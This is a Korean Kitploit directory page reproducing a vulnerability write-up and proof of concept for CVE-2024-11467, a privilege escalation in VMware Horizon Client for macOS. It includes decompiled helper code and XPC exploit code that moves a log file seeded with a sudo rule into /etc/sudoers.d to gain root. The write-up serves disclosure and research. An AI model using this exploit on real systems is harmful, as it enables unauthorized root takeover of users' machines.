Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-11467 — VMWare Horizon for macOS 클라이언트의 XPC 로직 결함으로 인한 LPE. Omnissa에 책임 있게 공개한 0-day에 대한 늦은 POC. | Kitploit
도구/GitHubGitHub/null-event/cve-2024-11467
Privilege EscalationVulnerability AnalysisCode AnalysisExploitationReverse EngineeringPenetration TestingBinary Exploitation
GitHubnull-event/cve-2024-11467

CVE-2024-11467

VMWare Horizon for macOS 클라이언트의 XPC 로직 결함으로 인한 LPE. Omnissa에 책임 있게 공개한 0-day에 대한 늦은 POC.

저장소 보기
6개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-11467

macOS 운영 체제는 XPC 서비스를 사용하여 기본적인 프로세스 간 통신을 수행합니다. 예를 들어 XPC Service 데몬과 타사 애플리케이션의 권한 있는 도우미 도구 간 통신이 이에 해당합니다. VMware Horizon Client는 설치 시 /Library/PrivilegedHelperTools/ 디렉토리에 com.vmware.horizon.CDSHelper 권한 있는 도우미를 등록합니다.

또한, 위에 표시된 대로 권한 있는 도우미가 들어오는 XPC 연결을 수신 대기하기 위해 mach 이름 com.vmware.horizon.CDSHelper를 사용한다는 점에 유의해야 합니다. 그런 다음 기본 macOS 개발자 도구를 사용하여 도우미 바이너리에서 심볼을 덤프하여 XPC 동작이 포함되어 있음을 확인했습니다:

root@kitploit:~
» nm -a /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper | grep -i xpc                                                                                       
                 U __xpc_error_connection_invalid
                 U __xpc_error_key_description
                 U __xpc_type_connection
                 U __xpc_type_dictionary
                 U __xpc_type_error
                 U _xpc_connection_create_mach_service
                 U _xpc_connection_get_pid
                 U _xpc_connection_resume
                 U _xpc_connection_send_message
                 U _xpc_connection_set_event_handler
                 U _xpc_dictionary_create_reply
                 U _xpc_dictionary_get_remote_connection
                 U _xpc_dictionary_get_string
                 U _xpc_dictionary_set_int64
                 U _xpc_get_type
                 U _xpc_release

Hopper Disassembler 도구를 사용하여 도우미를 디컴파일러에 로드하고 역공학을 수행했습니다. 아래와 같이 실행했습니다: open -a /Applications/Hopper\ Disassembler\ v4.app /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper EntryPoint() 함수를 찾아 검토했으며, 이것이 CDSHelper 메인 진입점임을 확인했습니다.

그런 다음 sub_100005fa0 함수를 디컴파일하여 VMWare Horizon Client의 권한 있는 도우미 도구가 XPC 서비스 API를 사용함을 확인했습니다. 이는 Apple이 제공하는 하위 C 레벨 API로, Objective-C/Swift 계층에 있는 XPC 연결 API와는 다릅니다:

root@kitploit:~
int sub_100005fa0(int arg0, int arg1) {
    sub_1000063d4("Starting service: %s\n");
    r0 = xpc_connection_create_mach_service(arg0, 0x0, 0x1);
    xpc_connection_set_event_handler(r0, &var_38);
    r0 = xpc_connection_resume(r20);
    dispatch_main();
    return r0;
}

mach 서비스가 생성된 후(xpc_connection_create_mach_service(com.vmware.horizon.CDSHelper)를 통해), 클라이언트와 Horizon Client의 XPC 서비스 간의 메시지는 xpc_dictionary_create() 메서드로 생성된 XPC 딕셔너리 객체를 통해 교환됩니다. Apple이 개발자에게 제공하는 메서드를 사용하여 이 딕셔너리에 값을 추가할 수 있습니다. 이러한 메서드는 일반적으로 xpc_dictionary_set_로 시작합니다. 클라이언트는 xpc_connection_send_와 같은 메서드를 통해 이러한 XPC 딕셔너리 객체를 XPC 서비스로 보낼 수 있습니다. Horizon Client의 XPC 서비스 측에서는 클라이언트로부터 수신된 XPC 딕셔너리 객체를 처리할 수 있는 핸들러가 등록됩니다. 이는 xpc_connection_set_event_handler() 메서드를 사용하여 수행됩니다. 마지막으로, 수신된 XPC 딕셔너리 객체의 값은 xpc_dictionary_get_*와 같은 메서드를 사용하여 읽힙니다. CDSHelper의 EntryPoint()가 반환된 후, sub_100056d0 함수가 호출됩니다:

image

이 시점에서 실행은 sub_1000056ec로 넘어가며, 이 함수가 들어오는 XPC 메시지 처리의 대부분을 담당합니다. 디컴파일된 함수 전체가 아래에 제공됩니다. 취약한 부분은 그 직후에 검토됩니다.

root@kitploit:~
int sub_1000056ec(int arg0, int arg1) {
    r31 = r31 - 0x90;
    var_30 = r24;
    stack[-56] = r23;
    var_20 = r22;
    stack[-40] = r21;
    var_10 = r20;
    stack[-24] = r19;
    saved_fp = r29;
    stack[-8] = r30;
    r19 = arg1;
    var_38 = **___stack_chk_guard;
    sub_1000063d4("CDSHelper: The cds helper will call HelperMain.\n");
    r0 = xpc_dictionary_get_string(r19, "cdsjob");
    if (r0 == 0x0) goto loc_1000057bc;

loc_100005738:
    r20 = r0;
    r0 = sub_1000063d4("CDSHelper:  cdsJob is %s.\n");
    if (strcmp(r20, "cdsjob_runscript") == 0x0) goto loc_100005818;

loc_100005760:
    if (strcmp(r20, "cdsjob_movefile") == 0x0) goto loc_1000058c4;

loc_100005774:
    if (strcmp(r20, "cdsjob_installpackage") == 0x0) {
            if (**___stack_chk_guard == var_38) {
                    r0 = sub_100005498(r19);
            }
            else {
                    __stack_chk_fail();
            }
    }
    else {
            r0 = sub_100005380(r19, 0x16);
            sub_100006434("NOT_REACHED %s:%d\n");
    }
    return r0;

loc_1000058c4:
    r0 = sub_1000068b8();
    if (r0 == 0x0) goto loc_100005980;

loc_1000058d4:
    r22 = r0;
    r0 = xpc_dictionary_get_string(r19, "cds_movefile_srcfile");
    r20 = r0;
    if (r0 == 0x0) goto loc_1000059b0;

loc_1000058f0:
    r0 = xpc_dictionary_get_string(r19, "cds_movefile_dstdir");
    r21 = r0;
    if (r0 == 0x0) goto loc_1000059f8;

loc_100005908:
    sub_1000069b8();
    sub_1000069b8();
    sub_100006998();
    if (0x0 == 0x0) goto loc_100005a60;

loc_100005948:
    sub_100006978();
    sub_1000067b8();
    r0 = "CDSHelper:  Failed to move the file : %s.\n";
    goto loc_100005a00;

loc_100005a00:
    sub_1000063d4(r0);
    goto loc_100005a04;

loc_100005a04:
    r22 = 0x16;
    strerror(0x16);
    sub_1000063d4("CDSHelper: The cds moving failed : %s from %s to %s!\n");
    goto loc_100005a24;

loc_100005a24:
    r0 = r19;
    r1 = r22;
    goto loc_100005a2c;

loc_100005a2c:
    r0 = sub_100005380(r0, r1);
    if (**___stack_chk_guard != var_38) {
            __stack_chk_fail();
    }
    return r0;

loc_100005a60:
    sub_1000063d4("CDSHelper: The cds moving ran successfully!\n");
    r22 = 0x0;
    goto loc_100005a24;

loc_1000059f8:
    r0 = "CDSHelper:  Invalid parameter of moving: destination dir.\n";
    goto loc_100005a00;

loc_1000059b0:
    sub_1000063d4("CDSHelper:  Invalid parameter of moving: source file.\n");
    r21 = 0x0;
    goto loc_100005a04;

loc_100005980:
    sub_1000063d4("CDSHelper:  Failed to get the invalid file manager.\n");
    r21 = 0x0;
    r20 = 0x0;
    goto loc_100005a04;

loc_100005818:
    r0 = xpc_dictionary_get_string(r19, "vmwareid");
    if (r0 == 0x0) goto loc_100005960;

loc_10000582c:
    r20 = r0;
    r0 = xpc_dictionary_get_string(r19, "path");
    if (r0 == 0x0) goto loc_10000596c;

loc_100005844:
    r21 = r0;
    if ((sub_100005df4(r20, "vmware-id") & 0x1) == 0x0) goto loc_100005998;

loc_10000585c:
    r0 = xpc_dictionary_get_string(r19, "appDir");
    if (r0 == 0x0) goto loc_1000059c4;

loc_100005870:
    r22 = r0;
    r0 = xpc_dictionary_get_string(r19, "tempDir");
    if (r0 == 0x0) goto loc_1000059c4;

loc_100005888:
    sub_100006460();
    sub_1000063d4("CDSHelper:  The cds script %s is running...\n");
    r0 = sub_100005410(&var_60);
    r20 = r0;
    if (r0 == 0x0) {
            r0 = "CDSHelper: The cds script ran successfully!\n";
    }
    else {
            strerror(r20);
            r0 = "CDSHelper: The cds script failed to run : %s!\n";
    }
    goto loc_1000059e8;

loc_1000059e8:
    sub_1000063d4(r0);
    r0 = r19;
    r1 = r20;
    goto loc_100005a2c;

loc_1000059c4:
    r0 = "CDSHelper:  Invalid parameter.\n";
    goto loc_1000059cc;

loc_1000059cc:
    sub_1000063d4(r0);
    r20 = 0x16;
    goto loc_1000059d4;

loc_1000059d4:
    strerror(r20);
    r0 = "CDSHelper: The cds script failed to run : %s!\n";
    goto loc_1000059e8;

loc_100005998:
    sub_1000063d4("CDSHelper:  Invalid script codesigning for %s.\n");
    r20 = 0xd;
    goto loc_1000059d4;

loc_10000596c:
    sub_1000063d4("CDSHelper:  Invalid script path.\n");
    r20 = 0x2d;
    goto loc_1000059d4;

loc_100005960:
    r0 = "CDSHelper:  Invalid vmwareid.\n";
    goto loc_1000059cc;

loc_1000057bc:
    sub_1000063d4("CDSHelper:  Invalid cdsJob.\n");
    strerror(0x16);
    r0 = sub_1000063d4("CDSHelper: The cds script failed to run : %s!\n");
    if (**___stack_chk_guard == var_38) {
            r0 = sub_100005380(r19, 0x16);
    }
    else {
            __stack_chk_fail();
    }
    return r0;
}

아래 강조된 부분에서 볼 수 있듯이, 권한 있는 도우미는 먼저 xpc_dictionary_get_string() 메서드를 사용하여 cdsjob 값을 가져옵니다. 여기서 권한 있는 도우미가 예상하는 세 가지 가능한 문자열은 다음과 같습니다:

  • cdsjob_runscript
  • cdsjob_movefile
  • cdsjob_installpackage
image

문자열 비교가 cdsjob_movefile과 일치하면 CDSHelper는 아래와 같이 loc_1000058c4 내에서 실행을 재개합니다. xpc_dictionary_get_string() 메서드를 통해 두 개의 추가 문자열이 확인됩니다:

  • cds_movefile_srcfile
  • cds_movefile_dstdir
image

권한 있는 도우미가 이 두 개의 추가 문자열을 가져온 후, 다음 세 가지 추가 함수가 호출됩니다:

  • sub_1000069b8
  • sub_1000069b8
  • sub_100006998 이 함수들을 자세히 살펴보고 아래에 제시했습니다. 주어진 UTF8 인코딩 바이트의 C 배열에서 데이터를 복사하여 생성된 문자열을 반환합니다 (https://developer.apple.com/documentation/foundation/nsstring/1497379-stringwithutf8string):
root@kitploit:~
void sub_1000069b8() {
    [r0 stringWithUTF8String:r2];
    return;
}

두 번째 문자열 반환:

root@kitploit:~
void sub_1000069b8() {
    [r0 stringWithUTF8String:r2];
    return;
}

cds_movefile_srcfile에 지정된 경로의 파일 또는 디렉토리를 cds_movefile_dstdir의 새 위치로 이동합니다 (https://developer.apple.com/documentation/foundation/nsfilemanager/1413529-moveitematpath):

root@kitploit:~
void sub_100006998() {
    [r0 moveItemAtPath:r2 toPath:r3 error:r4];
    return;
}

이 시점에서 파일 시스템 오류가 없다면, CDSHelper는 파일 이동을 성공적으로 수행하고 다음 메시지를 기록한 후 실행을 반환합니다: CDSHelper: The cds moving ran successfully! 이 작업 과정에서 권한 있는 도우미는 인바운드 클라이언트 연결에 대한 검사(예: SecRequirement 문자열과 연결의 패키지 식별자, 팀 식별자, Apple 인증서 서명 등을 통한 서명 검사)를 수행하지 않는다는 점에 유의해야 합니다. 따라서 악의적인 공격자는 유효한 XPC 연결을 시작하고 권한 있는 도우미를 강제로 임의의 파일을 상승된 권한으로 이동시킬 수 있습니다. 이는 아래와 같이 운영 체제를 완전히 손상시킬 수 있는 권한 상승 가능성을 제기합니다. 임의의 루트 파일 덮어쓰기를 증명하기 위해 먼저 다음 XPC 딕셔너리 값이 설정되고 전송되었습니다:

root@kitploit:~
    xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
    xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/private/tmp/ticket-Sf12p9");
    xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/private/tmp/ticket-Sf12p91337");

그러나 디컴파일된 함수 sub_1000068b8에서 CDSHelper가 fileManagerWithAuthorization 대신 defaultManager를 사용하여 파일 관리자 객체를 초기화하기 때문에, 권한 있는 도우미는 파일 이동 시 파일 소유권을 존중합니다. 즉, 원래 루트가 아닌 사용자가 소유한 파일은 이동 과정에서 루트 소유가 되지 않습니다. 따라서 /etc/sudoers.d/와 같은 디렉토리로 파일을 이동하여 권한을 상승시키기 위해 공격자는 이미 루트가 소유하고, 전 세계적으로 쓰기 가능하지 않으며, CDSHelper 함수를 통해 파일을 이동하기 전에 내용을 부분적으로 제어할 수 있는 파일을 찾아야 합니다. 아래와 같이 logger 명령줄 유틸리티를 통해 /var/log/install.log의 내용을 부분적으로 제어할 수 있습니다. 이 파일은 익스플로잇 조건에 맞는 파일입니다:

root@kitploit:~
» ls -la /var/log/install.log                                                                                                                                                  
-rw-r--r--@ 1 root  admin  420902 Oct 20 18:46 /var/log/install.log

install.error 우선순위를 지정하고 캐리지 리턴을 사용하여 새 줄을 추가함으로써 logger를 사용하여 로그 파일에 유효한 sudo 구성 줄을 삽입할 수 있습니다.

위에서 언급한 로그 파일을 /etc/sudoers.d/ 디렉토리로 myfile로 이동하는 익스플로잇 POC(poc.c 참조)의 관련 줄은 다음과 같습니다:

root@kitploit:~
xpc_object_t my_message;

my_message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/var/log/install.log");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/etc/sudoers.d/myfile");

sudo를 통해 실행된 명령을 받으면 운영 체제는 로그 파일을 구문 분석하고, 과정에서 로그 항목의 잘못된 구문과 관련된 여러 오류를 stdout으로 반환하며, 결국 삽입된 유효한 구문의 단일 줄에 도달할 때까지 계속 진행됩니다.

따라서 익스플로잇은 삽입된 로그 파일을 /etc/sudoers.d/ 디렉토리로 성공적으로 이동시키고, sudo를 통해 /tmp/vmwarebeware에 위치한 새 파일을 터치할 수 있음을 보여주어, VMWare Horizon Client의 권한 있는 도우미 도구를 통해 기본 macOS 운영 체제에서 성공적으로 권한 상승이 이루어졌음을 증명합니다.

도구 다운로드